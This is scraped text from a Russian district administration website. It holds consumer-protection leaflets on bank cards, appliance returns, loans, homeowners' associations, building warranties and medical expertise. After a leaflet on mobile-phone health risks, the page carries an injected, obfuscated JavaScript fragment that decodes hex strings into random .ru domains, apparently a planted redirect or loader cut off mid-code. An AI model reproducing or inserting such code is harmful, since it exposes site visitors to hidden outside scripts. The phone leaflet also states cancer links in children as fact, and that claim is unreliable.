17. При аресте (задержке) карты банкоматом или невыдаче денег, либо несоответствии выданной и запрошенной суммы, сообщить в информационно-справочную службу, указанную на банкомате, и обратиться с письменным заявлением в банк.
18. При погашении кредитов банковской  картой через банкомат, желательно осуществлять это заблаговременно (за 1-2 дня до наступления срока погашения кредита).
19. При погашении кредитов банковской  картой через пункты приема  и выдачи денежных средств иметь при себе паспорт.
20. Отдавать предпочтение использованию карты в качестве расчетного инструмента (оплата товаров и услуг в организациях торговли и сервиса).
21. Рассчитываясь картой за товары  или услуги через терминал, следует  убедиться, что сумма, отображаемая  на дисплее терминала, соответствует  указанной на ценнике. И в случае обнаружения ошибки следует немедленно пригласить администратора торгового зала и позвонить в банк, где Вас проконсультируют о дальнейших действиях.
22. Не допускать стирания защитного  слоя на оборотной стороне  карты, иначе карту не примут к оплате.


Консультационный центр по защите прав потребителей Филиала ФБУЗ «Центр гигиены и эпидемиологии в
РБ в Джидинском районе»
8-(301-37) -4-54-37




Памятка для потребителя


1. Качественные электробытовые приборы не подлежат обмену и возврату. То есть если дома вы обнаружите, что новая стиральная машинка не влезает в отведенное для нее место, а радиоприемник, купленный на дачу, за городом не ловит любимых радиостанций, то менять вашу покупку на другую модель или возвращать деньги магазин не обязан.
2. Если купленный «агрегат» начнет барахлить, то вы вправе предъявить одно из следующих требований (ст. 18 Закона «О защите прав потребителей»):
бесплатный ремонт;
уценка;
замена на такой же качественный товар либо на прибор другой марки (модели);
возврат всех уплаченных денег.
Обратите внимание: требование о замене бытовой техники можно предъявлять только при существенных недостатках (т. е. неисправимых, проявляющихся повторно, требующих для устранения несоразмерных затрат времени и т. п.). А вот любое из остальных требований, в том числе о возврате денег, можно заявлять сразу же, при обнаружении малейшего дефекта.
3. Доставку крупногабаритной и тяжелой (весом более 5 кг) техники для бесплатного ремонта, уценки или замены и ее возврат покупателю обязан оплачивать продавец (п. 7 ст. 18 Закона).
4. На время ремонта или замены товара длительного пользования (а к таким относится практически вся бытовая техника) покупателю бесплатно предоставляется в пользование аналогичная вещь (ст. 20 и 21 Закона). Это правило не распространяется на следующие виды бытовой техники:
электробытовые приборы, используемые как предметы туалета и в медицинских целях (бритвы, фены, грелки и др.);
электробытовые приборы, используемые для термической обработки продуктов и приготовления пищи (тостеры, электрочайники и др.).
5. Покупатель имеет право на бесплатный ремонт бытовой техники после окончания гарантии, если обнаружит существенный дефект и докажет, что этот недостаток или его причина возникли до покупки товара (п. 6 ст. 19 Закона). Такое право сохраняется в течение всего срока службы техники, а если он не установлен - то в течение 10 лет после покупки. 
Обращаться за ремонтом можно только к изготовителю или импортеру иностранного товара. Если в течение 20 дней недостаток не исправят либо выяснится, что он вообще неустраним, то покупатель вправе потребовать уценки или замены товара либо сдать его с возвратом денег
Консультационный центр по защите прав потребителей ОМ в Закаменском районе
Филиала ФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе»
Тел 8-(301-37)-4-54-37





Памятка заемщика – 
физического лица по банковскому кредиту



Банковский  кредит – это денежные средства, предоставляемые банком взаймы на приобретение имущества, товаров (работ, услуг) для личных нужд. Получение кредита предполагает обязанность вернуть в установленные кредитным договором сроки основную сумму долга (сумму, которая была получена от банка), а также уплатить проценты за пользование кредитом.
Часто условиями кредитного договора также  предусматривается необходимость  осуществления иных платежей, связанных с получением и погашением кредита, в пользу банка (комиссии за рассмотрение документов на получение кредита, открытие и ведение банковского счета, осуществление переводов денежных средств и т.п.), а также в пользу третьих лиц (платежи, связанные с договорами страхования, залога, перевода средств через отделения связи или иные банки и т.п.). Если какие-либо предусмотренные кредитным договором платежи не осуществляются или осуществляются несвоевременно и/или не в полном объеме, банком может быть предъявлено требование об уплате неустойки (штрафа, пени). О праве банка предъявлять такое требование, сказано в кредитном договоре.
Перед принятием решения о получении  банковского кредита оцените  свои потребности в его получении, а также возможности по его своевременному обслуживанию (погашению), то есть какую сумму денежных средств, исходя из вашего личного (семейного) дохода, вы реально можете периодически направлять на уплату всех причитающихся платежей по кредиту с учетом всех текущих и предполагаемых расходов в период использования кредита. Только рациональный, взвешенный подход к оценке своих возможностей позволит Вам использовать банковский кредит без ущерба для качества своей жизни.
Внимательно изучите всю информацию о кредите  и условиях его погашения. Для принятия решения о получении банковского кредита следует получить от сотрудников банка исчерпывающую информацию об условиях, на которых осуществляется кредитование, в том числе обо всех без исключения платежах, связанных с получением и погашением кредита. Ваше право на получение своевременной (до заключения кредитного договора), необходимой и достоверной информации закреплено федеральным законодательством (статья 10 Закона Российской Федерации «О защите прав потребителей», статья 30 Федерального закона «О банках и банковской деятельности»). В соответствии с указанием Банка России от 13.05.2008 №2008-У «О порядке расчета и доведения до заемщика – физического лица полной стоимости кредита» кредитная организация обязана доводить до заемщика информацию о полной стоимости кредита (ее еще именуют эффективной процентной ставкой). К такой информации в том числе относятся: размер кредита, график его погашения, полная стоимость кредита в процентах годовых (в расчет полной стоимости кредита включаются Ваши платежи по кредиту, связанные с заключением и исполнением кредитного договора, в том числе платежи в пользу третьих лиц, определенных в кредитном договоре).
Принятию  наилучшего решения может способствовать изучение предложений нескольких банков, выдающих банковские кредиты. Полученная информация позволит сравнить предложения по банковским кредитам разных банков.
Обязательно уточняйте информацию о возможных  штрафах и пенях, т.к. даже за один день просрочки в погашении очередного платежа некоторые банки вводят существенные штрафы, сопоставимые с размером ежемесячного платежа. Многие банки вводят так называемый мораторий на досрочное погашение кредита, то есть период, в течение которого Вы не можете досрочно погасить весь кредит. Обычно этот период составляет от 3-х месяцев до 1 года.
Погашение кредита и уплата процентов по нему должны осуществляться согласно графику платежей (как правило, ежемесячно), который прилагается к кредитному договору. В случае, если Вы погашаете кредит с опережением установленных сроков (т.е. большими суммами, чем указано в графике), уплату процентов по кредиту необходимо производить ежемесячно, так как зачастую уплата процентов авансом не допускается.
Платежи по кредиту могут осуществляться с использованием банковской карты в банкомате или информационном киоске банка, либо путем внесения наличных денег в кассу банка или его филиала и через банкоматы, принимающие наличные, банковским или почтовым переводом.
Перед подписанием кредитного договора тщательно изучите его. В этих целях, по возможности, возьмите кредитный договор домой, более внимательно изучите его условия, устанавливающие ваши обязанности, убедитесь, что кредитный договор не содержит условий, о которых неизвестно или смысл которых не ясен. Если какие-либо условия кредитования вам не понятны, просите разъяснения и соответствующие документы у сотрудников банка, уточняйте интересующие вас вопросы. Если вы не получили необходимого разъяснения, лучше отложить принятие решения о получении кредита.
Подписав  кредитный договор, вы соглашаетесь со всеми его условиями и принимаете на себя обязательства по их выполнению, в том числе по возврату в установленные  сроки суммы основного долга  и уплате всех причитающихся платежей, за неисполнение (ненадлежащее исполнение) которых банк будет вправе обратиться с иском в суд.

Действия  заемщика, испытывающего  финансовые трудности
Если  возникли временные финансовые затруднения, и по каким-либо причинам невозможно вовремя внести ежемесячный платеж за кредит, не следует ждать, когда банк сам предъявит свои претензии, так как, пропустив без предупреждения очередной платеж, Вы, скорее всего, потеряете доверие со стороны банка. Не следует забывать еще и о бюро кредитных историй, в которые теперь сообщается о любых задержках и проблемах с платежами. Нерадивый плательщик может попасть в черные списки и потом вообще нигде и никогда не получить кредит. В данном случае Вам необходимо:
внимательно перечитать кредитный  договор в части прав и обязанностей сторон, ответственности заемщика за нарушение срока возврата кредита;
обратиться в банк с заявлением  о невозможности полного выполнения  обязательств по кредитному договору  с подробным объяснением причин  этих затруднений и предполагаемого срока их разрешения, а также существующих возможностей по частичному погашению кредита;
не обострять ситуацию с банком, продолжать делать выплаты в  максимальном размере, в котором можно себе позволить. Исполнение своих обязательств по кредиту перед банком является очень важным моментом, тем более в условиях финансовой нестабильности.

Консультационный центр по защите прав потребителей ОМ в Закаменском районе
Филиала ФБУЗ «Центр гигиены и эпидемиологии в Республике Бурятия» 
                                                            Тел  8(301-37)4-54-37




Поступают обращения ТСЖ

 

Поступают обращения от собственников жилых помещений  в многоквартирных домах. с просьбой разъяснить правоотношения между юридическим лицом ТСЖ и собственниками, которые не являются членами ТСЖ.

     Согласно п. 2 ст. 138 ЖК РФ ТСЖ обязано "заключать договоры о содержании и ремонте общего имущества в многоквартирном доме с собственниками помещений в многоквартирном доме, не являющимися членами товарищества". Это не договор управления многоквартирным домом. В этом договоре должны быть указаны обязательства ТСЖ перед собственником помещения в доме, не являющимся членом ТСЖ (практически те же обязательства, что и перед членами ТСЖ) и обязательства такого собственника (в первую очередь по своевременной оплате).
     Поскольку к данному договору применяются общие положения о договорах, содержащиеся в Гражданском кодексе, для него обязательна письменная форма, а порядок заключения договора в данном случае регулируется ст. 445 ГК РФ, в соответствии с которой ТСЖ должно направить проект договора (оферту) собственнику помещения. Последний в 30-дневный срок обязан направить извещение об акцепте, либо об отказе от акцепта, либо об акцепте оферты на иных условиях (то есть составить протокол разногласий к проекту договора). Если ответа от собственника помещения не последовало, ТСЖ может считать свою обязанность исполненной, но договор так и остается незаключенным.

     Между тем необходимо учесть, что предъявление товариществом собственнику счета, в котором отражены существенные условия договора на оплату содержания и ремонта общего имущества (перечень выполненных работ и оказанных услуг и их стоимость, оплачиваемая собственником) и коммунальных услуг, а также оплата такого счета собственником могут расцениваться как заключение сторонами договора о содержании общего имущества (п. 3 ст. 434, п. 3 ст. 438 ГК РФ). Кроме того, ВАС рассматривает фактическое пользование потребителем услугами в соответствии с п. 3 ст. 438 ГК РФ как акцепт абонентом оферты, предложенной стороной, оказывающей услуги (выполняющей работы). А условия предоставления услуг и выполнения работ ежегодно утверждаются на общем собрании членов ТСЖ, где устанавливается их перечень и стоимость (которые являются существенными условиями рассматриваемого договора).

     Таким образом, отношения между собственником помещения, не являющимся членом ТСЖ, и товариществом строятся на основании устава товарищества, решений общих собраний членов ТСЖ, а также главным образом Жилищного кодекса и Правил содержания общего имущества в многоквартирном доме.

     В литературе ко всему прочему существует, на наш взгляд, вполне обоснованное мнение, согласно которому обязанность ТСЖ по выполнению работ по содержанию и ремонту общего имущества МКД является его уставной обязанностью (п. 1 ст. 135, п. 1 ст. 138, п. 1, 2 ст. 161 ЖК РФ). При этом ТСЖ обязано управлять всем комплексом имущества многоквартирного дома, а собственники, не являющиеся членами ТСЖ, не могут отказаться от предоставления им данных услуг, так как в силу п. 4 ст. 37 ЖК РФ выделение доли в праве общей собственности на имущество МКД в натуре невозможно. Получается, что стороны могут обойтись без такого договора.

     В связи с этим следует отметить, что, поскольку минимальные требования к выполнению рассматриваемых работ установлены законодателем, ТСЖ по большому счету не заинтересовано в заключении подобного договора. Гораздо больший интерес может (и должен) иметь собственник помещения, поскольку договор, включающий более детальный перечень работ и услуг, лучше защищает интересы собственника как потребителя, а также сторонами могут быть установлены повышенные требования к содержанию общего имущества, и только при заключении договора у собственника появится возможность требовать от товарищества не просто содержания общего имущества в соответствии с законодательством, а точного выполнения всех предусмотренных договором обязанностей.

     Товарищество же, исполняя свои обязанности по содержанию и ремонту общего имущества МКД, всегда сможет взыскать плату за оказание данных услуг и выполнение работ на основании закона, вне зависимости от того, является ли собственник членом ТСЖ, заключен с ним договор или нет. Такое право предоставлено товариществу законом. Во-первых, в ст. 210 ГК РФ установлен общий принцип возложения бремени содержания имущества на его собственника, который получил развитие в ст. 30 ЖК РФ. Во-вторых, обязанность собственника по внесению платы предусмотрена п. 5, 6 ст. 155 ЖК РФ, а также п. 28 Правил содержания общего имущества в многоквартирном доме.

     Таким образом, несмотря на предписание законодателя о необходимости заключения договора на выполнение работ по ремонту и содержанию общего имущества МКД с собственниками, не вошедшими в ТСЖ, товарищество не всегда имеет возможность прийти к соглашению с указанными лицами. Тем не менее такое положение вещей главным образом невыгодно собственнику, который теряет дополнительную гарантию по получению услуг надлежащего качества.

     В соответствии с Жилищным кодексом ТСЖ и собственники помещений в многоквартирном доме строят свои отношения на основании законодательства РФ, устава ТСЖ, договоров о предоставлении коммунальных услуг и работ по содержанию и ремонту общего имущества МКД. Так как понятие «собственник помещения в многоквартирном доме» очень широкое и статус лица при выборе способа управления посредством ТСЖ определяется в зависимости от того, является ли оно, кроме всего прочего, членом ТСЖ, а также собственником жилого или нежилого помещения. На сегодняшний день детальное правовое регулирование рассматриваемых договоров относительно всех категорий лиц в жилищном праве отсутствует.  Те домовладельцы, которые не вступили в ТСЖ , не утрачивают иные правовые связи, кроме членства в товариществе. 
     Но, Конституционный Суд РФ признал, что если часть домовладельцев отказывается вступать в члены ТСЖ , то это не освобождает их от участия в несении расходов, связанных с управлением кондоминиумом в целях его содержания и эксплуатации. 
     Также , само ТСЖ не имеет права нарушать права домовладельцев, которые не вступили в ТСЖ, устанавливая какие либо льготы по владению и использованию общей долевой собственностью только для членов ТСЖ, или налагая на домовладельцев, не членов ТСЖ, какие либо дополнительные обязанности, которые выходят за рамки возмещения необходимых затрат по управлению кондоминиумом и его эксплуатации. 
     Для определения расходов, которые потребуются для управления, содержания и эксплуатации кондоминиума, необходимо проведение собрания, на котором должно быть достигнуто общее согласие всех домовладельцев. А если возникнут споры по данным вопросам , то все споры решить путем судебного разбирательства. 
    Отказ собственников помещений в многоквартирном доме от вступления в члены товарищества или исключение и выход из ТСЖ не освобождает их от бремени несения расходов по содержанию и ремонту принадлежащих им помещений в общем имуществе собственников помещений в многоквартирном доме, а также оплаты коммунальных и иных услуг. 
     Данные собственники помещений в многоквартирном доме обязаны заключить с товариществом собственников жилья договор о содержании и ремонте общего имущества собственников помещений в многоквартирном доме и несению расходов по его содержанию, эксплуатации и ремонту.

 

 

 

Консультационный центр по защите прав потребителей ОМ в Закаменском районе

Филиала ФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе»

Тел 8-(301-37)-4-54-37





Стройка с гарантийным сроком

     Серьезные строительные фирмы предоставляют гарантии  на свою работу и указывают гарантийный срок в договоре. А как быть, если гарантийный срок не установлен? В этом случае действуют нормы п.3 ст.29 Закона «О защите прав потребителей». В нем сказано: при отсутствии гарантийного срока потребитель вправе предъявить требования, связанные с недостатками выполненной работы, в разумный срок в пределах двух лет со дня приемки или в течение пяти лет в отношении недостатков в строении и ином недвижимом имуществе.
Если же недостатки обнаружатся в течение гарантийного срока, нужно написать претензию на имя руководства фирмы с требованием устранить недостатки. Не исключено, что подрядчик откажется исправить свои промахи, заявив, будто дефекты возникли не по его вине или вообще не связаны с ремонтом. В этом случае по требованию любой из сторон должна быть проведена экспертиза. Ее лучше заказывать в государственном бюро и выбирать эксперта вместе с подрядчиком, чтобы решение было окончательным для обеих сторон. Можно пойти по другому пути: обратиться в суд, который назначит экспертизу в авторитетном экспертном учреждении.
Если недостатки «всплывут» после гарантии, но в пределах двух лет (а для недвижимости – в течение пяти), заказчик все равно может подать претензию подрядчику. Но сначала ему придется провести экспертизу за свой счет.

Филиал ФБУЗ «Центр гигиены и эпидемиологии в Республике Бурятия» в Джидинском районе 8- (301-37) – 4-54-37



Экспертиза в медицине

Отличить профессиональную некомпетентность от рокового стечения обстоятельств призвана судебно-медицинская экспертиза. Она проводится по постановлению правоохранительных органов, определению суда или по инициативе пациента (его родственников). Комиссия, состоящая из компетентных специалистов, дает заключение, на основании которого суд принимает решение о виновности врача.
  Сеть бюро судебно-медицинской экспертизы – это медучреждения, которые входят в структуру областного здравоохранения или департамента здравоохранения города. Финансирование и назначение руководства бюро происходит через департамент, поэтому говорить о независимости в данном случае очень сложно. Это вызывает нарекания практикующих юристов. Больше можно доверять независимым экспертизам, которые проводятся на платной основе по обращению пациентов (или их родственников). Но к сожалению, если истец обращается в суд с результатами такой экспертизы, ответчики, как правило, требуют проведения повторного исследования и всеми силами пытаются привлечь специалистов из медучреждений, подконтрольных департаментам здравоохранения.

Филиал ФБУЗ «Центр гигиены и эпидемиологии в Республике Бурятия» в Джидинском районе 8- (301-37) – 4-54-37



«Сотовый телефон безопасен только при разумном к нему отношении!»

 Внимание! Призываем всех пользователей сотовой связи быть благоразумными и при покупке телефона хорошенько подумать о возможных последствиях для здоровья.    Группа ученых Великобритании, созданная правительством для изучения проблемы «Мобильные телефоны и здоровье», пришла к выводу, что наиболее уязвимы дети «из-за их развивающейся нервной системы». Англичане убеждены: «Нужно препятствовать тому, чтобы дети вели по мобильникам несущественные переговоры». А немецкая академия педиатрии еще в 2001 году опубликовала обращение к родителям с рекомендацией ограничить пользование сотовыми телефонами их детьми. Ученые Испании утверждают, что даже двухминутное использование мобильного телефона может изменить ритмику биоэлектрической активности мозга ребенка в течение последующих двух часов после окончания разговора. К аналогичным выводом пришли российские исследователи из Института биофизики. Ученые считают, что ЭМП могут дать толчок развития рака у детей. Венгерские исследователи представили данные о возможности развития опухоли головного мозга у пользователей сотовых телефонов. Ими установлена связь между развитием опухоли головного мозга у людей от 20 до 29 лет, которые использовали сотовые с детского возраста.   Отечественные гигиенические нормативы, базирующиеся на иных позициях, более жесткие, чем западные. И мы не считаем возможным эти требования снижать. 
Не вешайте телефон ребенку на шею, положите его в сумку, не держите во внутреннем кармане или в кармане брюк. Сотовый телефон безопасен только при разумном к нему отношении! 

 
Филиал ФБУЗ «Центр гигиены и эпидемиологии в Республике Бурятия» в Джидинском районе,  8 – (301-34) – 4-54-37

window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e




Поиск по сайту

Сайт Органов Государственной Власти РФ

Сайт Органов Государственной Власти РБ


Глава МО "Джидинский район"
Цыренов Валерий Ринчиндоржиевич


Дорогие друзья!

Мы рады Вас приветствовать на сайте муниципального образования «Джидинский район» Республики Бурятия. >>>



Административный центр: 
с. Петропавловка

Население: 27 000 чел.

Площадь: 8 600 км².

Географическое положение:
Район расположен в юго-западной части Республики Бурятия. Занимает долину среднего и нижнего течения реки Джиды и прилегающие к ней Боргойские сухие солончаковые степи. С севера район ограничивает Хамар-Дабанский и Боргойский, а с юга – Джидинский хребты. По восточной границе района протекает река Селенга.


Республиканский регистр муниципальных нормативных правовых актов


Личный кабинет налогоплательщика


Портал государственных и муниципальных услуг Республики Бурятия


Портал государственных и муниципальных услуг Республики Бурятия


Родное село


Личный кабинет

Опрос населения об эффективности деятельности руководителей ОМСУ Бурятии, унитарных предприятий и учреждений, акционерных обществ










© Муниципальное образование "Джидинский район" Республики Бурятия
Полное или частичное использование материалов возможно только с разрешения Администрации.
При использовании материалов ссылка на официальный сайт Муниципального образования "Джидинский район" Республики Бурятия
http://admdzd.sdep.ru/ обязательна!
Разработка официального сайта sdep.ru Яндекс.Метрика